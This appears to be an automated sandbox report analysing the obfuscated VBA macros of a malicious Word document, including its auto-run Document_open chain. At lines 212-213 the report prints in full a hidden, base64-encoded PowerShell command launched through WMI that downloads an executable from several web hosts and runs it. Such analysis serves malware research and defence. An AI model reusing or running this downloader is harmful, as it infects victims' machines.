167	Lgzvcqpdsjxtd = Kxhncxylbdjko	Kxhncxylbdjko
168	Next	Aemktmeeol Lpcndbwq
169	Select Case Fjicnlbpth	Fjicnlbpth
170	Case 726
171	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
172	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
173	cCy = 98693360
174	Case 7172
175	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
176	svo = 6
177	Yqm = VGG	VGG
178	Case 423356465
179	End Select	Fjicnlbpth
180	Hdzaptpn.XSize = False
181	For Suglmehjlaipe = Xuqqxxoacjodj To Qlecsulsn	Xuqqxxoacjodj Qlecsulsn
182	Uapryhanapwn = Etdcybyv	Etdcybyv
183	Xkcffmcdbb = Klkgcvnqtxs	Klkgcvnqtxs
184	Next	Xuqqxxoacjodj Qlecsulsn
185	Select Case Ahpomxzuftn	Ahpomxzuftn
186	Case 726
187	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
188	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
189	cCy = 98693360
190	Case 7172
191	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
192	svo = 6
193	Yqm = VGG	VGG
194	Case 423356465
195	End Select	Ahpomxzuftn
196	Hdzaptpn.YSize = False
197	For Mposbjmnqxby = Qewobgzoo To Wfjtyflbi	Qewobgzoo Wfjtyflbi
198	Lmvwikmdttlh = Taivvybkn	Taivvybkn
199	Ctsspxxq = Jsfypbkkllys	Jsfypbkkllys
200	Next	Qewobgzoo Wfjtyflbi
201	Select Case Ecgntsbzq	Ecgntsbzq
202	Case 726
203	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
204	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
205	cCy = 98693360
206	Case 7172
207	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
208	svo = 6
209	Yqm = VGG	VGG
210	Case 423356465
211	End Select	Ecgntsbzq
212	Do While Xrzyfwhkn.Create(PPPP & Eigrhutqjn, Gugdxpmf, Hdzaptpn, Jlgngwawaqxh)	SWbemObjectEx.Create("Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA",,,) -> 0 PPPP Gugdxpmf Jlgngwawaqxh executed
213	Loop	SWbemObjectEx.Create("Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA",,,) -> 0 PPPP Gugdxpmf Jlgngwawaqxh executed
214	For Nhdaapnezwo = Qlunecws To Zhkildoic	Qlunecws Zhkildoic
215	Cwasrhlbr = Oqcazkifvxfd	Oqcazkifvxfd
216	Qgbalnmltnou = Vkqrwhstgld	Vkqrwhstgld
217	Next	Qlunecws Zhkildoic
218	Select Case Wtjxtwaa	Wtjxtwaa
219	Case 726
220	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
221	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
222	cCy = 98693360
223	Case 7172
224	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
225	svo = 6
226	Yqm = VGG	VGG
227	Case 423356465
228	End Select	Wtjxtwaa
229	End Function

Function
EigrhutqjnAPIs: 97, Strings: 0, Number of lines: 81, Relevance: 121.331

APIs	Meta Information
Dhlehfaylilou
Gpaasmxic
Kozvbiuqn
Rjpwogvjgyf
Wkpolajz
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Lxijupngv
Msyfxuxaniqvn
Wqklqchum
Hwiimxav
Tdwhvtqvmouid
Zioivbrwpejv
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Cejfehsiqdp
Miwnattqddm
Sauuakhgbazqj
Tkdcprhcwsa
Ryqmmoarox
Kknutyafyvyc
Zzupryuygtqh
Uxpvksgq
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Evrezirnfj
Gpxjleht
Sbehhsuenjruc
Ddgoaukryszhy
Jafszgztgeik
Kfsgjuei
Fspopblg
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Pytrclosnl
Smvqxcaznnl
Tgtivukim
Gtxooyrb
Pitydelv
Orlyfablxuel
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG

Line	Instruction	Meta Information
2	Function Eigrhutqjn()
3	For Bsbdlhis = Dhlehfaylilou To Gpaasmxic	Dhlehfaylilou Gpaasmxic executed
4	Qiowmwhya = Kozvbiuqn	Kozvbiuqn
5	Zfrhsjmgyjq = Rjpwogvjgyf	Rjpwogvjgyf
6	Next	Dhlehfaylilou Gpaasmxic
7	Select Case Wkpolajz	Wkpolajz
8	Case 726
9	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
10	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
11	cCy = 98693360
12	Case 7172
13	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
14	svo = 6
15	Yqm = VGG	VGG
16	Case 423356465
17	End Select	Wkpolajz
18	Qslrgyfj = Vidpgeil.Lxijupngv	Lxijupngv
19	For Ivuovixrwrgx = Msyfxuxaniqvn To Wqklqchum	Msyfxuxaniqvn Wqklqchum
20	Ydwqavbwesi = Hwiimxav	Hwiimxav
21	Zbwlgufymw = Tdwhvtqvmouid	Tdwhvtqvmouid
22	Next	Msyfxuxaniqvn Wqklqchum
23	Select Case Zioivbrwpejv	Zioivbrwpejv
24	Case 726
25	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
26	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
27	cCy = 98693360
28	Case 7172
29	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
30	svo = 6
31	Yqm = VGG	VGG
32	Case 423356465
33	End Select	Zioivbrwpejv
34	Yfhlbpnosn = Qslrgyfj + Fbkxcpydi.Cejfehsiqdp + Fbkxcpydi.Miwnattqddm + Fbkxcpydi.Sauuakhgbazqj	Cejfehsiqdp Miwnattqddm Sauuakhgbazqj
35	For Nuukwwmkpo = Tkdcprhcwsa To Ryqmmoarox	Tkdcprhcwsa Ryqmmoarox
36	Qaioftbbuzawn = Kknutyafyvyc	Kknutyafyvyc
37	Vfmogzqz = Zzupryuygtqh	Zzupryuygtqh
38	Next	Tkdcprhcwsa Ryqmmoarox
39	Select Case Uxpvksgq	Uxpvksgq
40	Case 726
41	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
42	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
43	cCy = 98693360
44	Case 7172
45	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
46	svo = 6
47	Yqm = VGG	VGG
48	Case 423356465
49	End Select	Uxpvksgq
50	Frkvgeyph = Yfhlbpnosn + Fbkxcpydi.Evrezirnfj + Fbkxcpydi.Gpxjleht	Evrezirnfj Gpxjleht
51	For Meceodkgh = Sbehhsuenjruc To Ddgoaukryszhy	Sbehhsuenjruc Ddgoaukryszhy
52	Oihppvmawiiob = Jafszgztgeik	Jafszgztgeik
53	Hlwmqvjmmja = Kfsgjuei	Kfsgjuei
54	Next	Sbehhsuenjruc Ddgoaukryszhy
55	Select Case Fspopblg	Fspopblg
56	Case 726
57	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
58	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
59	cCy = 98693360
60	Case 7172
61	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
62	svo = 6
63	Yqm = VGG	VGG
64	Case 423356465
65	End Select	Fspopblg
66	Eigrhutqjn = Pytrclosnl + Frkvgeyph + Pytrclosnl	Pytrclosnl
67	For Wcbjqhtynuwg = Smvqxcaznnl To Tgtivukim	Smvqxcaznnl Tgtivukim
68	Snxmyxeracpuy = Gtxooyrb	Gtxooyrb
69	Umalbhfsxxkf = Pitydelv	Pitydelv
70	Next	Smvqxcaznnl Tgtivukim
71	Select Case Orlyfablxuel	Orlyfablxuel
72	Case 726
73	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
74	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
75	cCy = 98693360
76	Case 7172
77	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
78	svo = 6
79	Yqm = VGG	VGG
80	Case 423356465
81	End Select	Orlyfablxuel
82	End Function

Module: Fbkxcpydi

Declaration

Line	Content
1	Attribute VB_Name = "Fbkxcpydi"
2	Attribute VB_Base = "0{61608FF3-A1FE-4B72-A38B-620C68AAECBB}{C74E457D-497C-471F-84DB-0183F84210C9}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = False
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = False

Module: Vidpgeil

Declaration

Line	Content
1	Attribute VB_Name = "Vidpgeil"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True
9	Attribute VB_Control = "Lxijupngv, 0, 0, MSForms, TextBox"

Executed Functions

Subroutine
Document_openAPIs: 228, Strings: 0, Number of lines: 48, Relevance: 343.548

APIs	Meta Information
Onvjmhztum
Onlefmhjnifep
Msukpnbmacoiv
Saowjipursyqq
Lpivyuvn
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Aihtijhnktshs
Asosmqcw
Tlqhjcniz
Kjrdavacpq
Nsflpvxcrw
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Hukkknizcpog
Alshswhn
Cqtmthrd
Duvaeiruul
Rgnkfdpazn
CSng
Hex
nVfie2Dr3
CDate
Uzpcb0lU
ilGM
CStr
Oct
ZOa
CByte
Hex
JDvXr
VGG
Part of subcall function Hdzaptpn@Bnzailenjg: Vqxltzlfyer
Part of subcall function Hdzaptpn@Bnzailenjg: Rbxxzopv
Part of subcall function Hdzaptpn@Bnzailenjg: Kbocqqax
Part of subcall function Hdzaptpn@Bnzailenjg: Mvcfrzrcrlvq
Part of subcall function Hdzaptpn@Bnzailenjg: Vhiortlihxi
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG
Part of subcall function Hdzaptpn@Bnzailenjg: Join
Part of subcall function Hdzaptpn@Bnzailenjg: Split
Part of subcall function Hdzaptpn@Bnzailenjg: Lxijupngv
Part of subcall function Hdzaptpn@Bnzailenjg: Ryveimmmv
Part of subcall function Hdzaptpn@Bnzailenjg: Xxjbjqhffg
Part of subcall function Hdzaptpn@Bnzailenjg: Zzbtbcdbs
Part of subcall function Hdzaptpn@Bnzailenjg: Ghnqzntawrg
Part of subcall function Hdzaptpn@Bnzailenjg: Kpoedcur
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG
Part of subcall function Hdzaptpn@Bnzailenjg: CreateObject
Part of subcall function Hdzaptpn@Bnzailenjg: Ajczaaygkwufa
Part of subcall function Hdzaptpn@Bnzailenjg: Inszulucmme
Part of subcall function Hdzaptpn@Bnzailenjg: Hmsibgvmr
Part of subcall function Hdzaptpn@Bnzailenjg: Vkwbmellgw
Part of subcall function Hdzaptpn@Bnzailenjg: Glnccswqzm
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG
Part of subcall function Hdzaptpn@Bnzailenjg: Pddkwvoiewnl
Part of subcall function Hdzaptpn@Bnzailenjg: Zbxjgpsnwceeh
Part of subcall function Hdzaptpn@Bnzailenjg: Hbfgtpohxbw
Part of subcall function Hdzaptpn@Bnzailenjg: Xjguphjkp
Part of subcall function Hdzaptpn@Bnzailenjg: Uvuyihoq
Part of subcall function Hdzaptpn@Bnzailenjg: Cojtgjldj
Part of subcall function Hdzaptpn@Bnzailenjg: Vjacarahboimw
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG
Part of subcall function Hdzaptpn@Bnzailenjg: Lxijupngv
Part of subcall function Hdzaptpn@Bnzailenjg: Fjiomrhsyhgu
Part of subcall function Hdzaptpn@Bnzailenjg: Scbroslxl
Part of subcall function Hdzaptpn@Bnzailenjg: Yusygxmkyuh
Part of subcall function Hdzaptpn@Bnzailenjg: Hooylswyaurfn
Part of subcall function Hdzaptpn@Bnzailenjg: Rpyrocnt
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG
Part of subcall function Hdzaptpn@Bnzailenjg: CreateObject
Part of subcall function Hdzaptpn@Bnzailenjg: Aemktmeeol
Part of subcall function Hdzaptpn@Bnzailenjg: Lpcndbwq
Part of subcall function Hdzaptpn@Bnzailenjg: Nepratgixljvm
Part of subcall function Hdzaptpn@Bnzailenjg: Kxhncxylbdjko
Part of subcall function Hdzaptpn@Bnzailenjg: Fjicnlbpth
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG
Part of subcall function Hdzaptpn@Bnzailenjg: Xuqqxxoacjodj
Part of subcall function Hdzaptpn@Bnzailenjg: Qlecsulsn
Part of subcall function Hdzaptpn@Bnzailenjg: Etdcybyv
Part of subcall function Hdzaptpn@Bnzailenjg: Klkgcvnqtxs
Part of subcall function Hdzaptpn@Bnzailenjg: Ahpomxzuftn
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG
Part of subcall function Hdzaptpn@Bnzailenjg: Qewobgzoo
Part of subcall function Hdzaptpn@Bnzailenjg: Wfjtyflbi
Part of subcall function Hdzaptpn@Bnzailenjg: Taivvybkn
Part of subcall function Hdzaptpn@Bnzailenjg: Jsfypbkkllys
Part of subcall function Hdzaptpn@Bnzailenjg: Ecgntsbzq
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG
Part of subcall function Hdzaptpn@Bnzailenjg: Create
Part of subcall function Hdzaptpn@Bnzailenjg: PPPP
Part of subcall function Hdzaptpn@Bnzailenjg: Gugdxpmf
Part of subcall function Hdzaptpn@Bnzailenjg: Jlgngwawaqxh
Part of subcall function Hdzaptpn@Bnzailenjg: Qlunecws
Part of subcall function Hdzaptpn@Bnzailenjg: Zhkildoic
Part of subcall function Hdzaptpn@Bnzailenjg: Oqcazkifvxfd
Part of subcall function Hdzaptpn@Bnzailenjg: Vkqrwhstgld
Part of subcall function Hdzaptpn@Bnzailenjg: Wtjxtwaa
Part of subcall function Hdzaptpn@Bnzailenjg: CSng
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: nVfie2Dr3
